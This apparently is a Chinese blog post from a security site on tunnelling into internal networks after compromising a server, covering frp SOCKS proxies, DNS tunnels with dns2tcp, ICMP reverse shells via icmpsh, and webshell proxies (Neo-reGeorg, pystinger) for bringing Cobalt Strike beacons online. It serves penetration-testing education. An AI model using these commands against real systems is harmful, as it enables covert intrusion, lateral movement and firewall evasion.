当拿到权限之后,做完本地信息收集,最重要的就是做个隧道,对内网进行下一步攻击,这里简单介绍几个常用的工具,主要针对于出网和不出网两种情况。
出网情况
拿到服务器权限之后,遇见这种机器,十分简单,针对不同情况搭建不同隧道,为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等,本文简单介绍几个常用工具。
frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
项目地址:https://github.com/fatedier/frp/
下载之后,我们只需要关注四个文件即可:
- frps
- frps.ini
- frpc
- frpc.ini
修改frpc.ini,这里搭建sockets隧道,上传至目标服务器启动即可。
./frpc -c frpc.ini
服务端根据frps.ini修改端口
启动监听
./frps -c frps.ini
即可建立sockets隧道,利用Proxifierprox等,即可全局代理隧道,访问目标主机内网。
dns
这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是123.com,添加一个子域名a.123.com,且类型为NS,并将NS记录指向b.123.com,然后将b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp。
a.123.com NS b.123.com b.123.com A 1.1.1.1
项目地址:https://github.com/HEYAHONG/dns2tcp
客户端
dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2 -r 后接服务名称任意换, 本文用nc -z 后接NS记录的网址 -l 后接本地端口
服务端
修改dns2tcpd.conf,
listen = 0.0.0.0 port = 53 user = root chroot = /home/ domain = a.123.com key = 123 resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080
然后执行,dns隧道就搭建好了,利用nc进行传输文件即可。
dns2tcpd -F -d 3 -f /home/dns2tcpd.conf
建立传输
目标主机监听并接受文件即可。
icmp
icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。
项目地址:https://github.com/inquisb/icmpsh
服务端:
python icmpsh_m.py ip 目标ip
目标机
icmpsh.exe -t 目标ip
即可反弹icmp隧道shell回来。
不出网情况
拿到服务器权限之后,遇见这种机器,只能利用基于webshell的代理,只需要将webshell上传到目标主机即可,然后建立tcp连接,主要利用session来识别不同的的tcp连接,我们攻击监听tcp,将数据post提交到webshell即可进行传输,本文简单介绍两个常用的。
Neo-reGeorg
Neo-reGeorg相当于是 reGeorg的升级版,有了更强的隐蔽性,原理都是相同的,常用于webshell代理流量,进而进行内网渗透。
项目地址:https://github.com/L-codes/Neo-reGeorg
首先需要设置密码,生成各种类型webshell,并上传至目标服务器
python neoreg.py generate -k password
上传至服务器即可,然后启动监听即可
python neoreg.py -k password -u http://1.1.1.1/tunnel.php
最后挂上sockets代理即可访问内网。
pystinger
毒刺(pystinger)通过webshell实现内网socks4代理,并且可以利用pystinge实现各种cs\msf上线,目前仅支持php、jsp(x)、aspx.
项目地址:https://github.com/FunnyWolf/pystinger
这个工具比较强大,这里可以直接上线cs,简单介绍如何搭建socks4以及cs上线。
socks4隧道搭建:
首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,并start命令运行该程序
最后在我们的服务器执行
./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.0.0 -p 60000
即可建立socks4隧道,利用Proxifierprox等,访问目标主机内网。
cs上线:
前面大体相同,首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,启动利用冰蝎start启动即可
我们的服务器也需要进行监听
./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.00 -p 60000
然后cs进行监听,端口填写60020
进而利用cs生成powershell
执行可以利用pystinger,进行不出网主机上线。
End
这里只是抛砖引玉,引出一些在之前工作中针对于不出网以及出网主机,用过最多的几个隧道代理工具,还请各位大佬勿喷,有更好的工具多补充,共同交流,这样我们才能共同成长,格拉德威尔曾说过:“人们眼中的天才之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成世界级大师的必要条件“。
来源:freebuf.com 2020-11-25 11:03:24 by: whoami123
请登录后发表评论
注册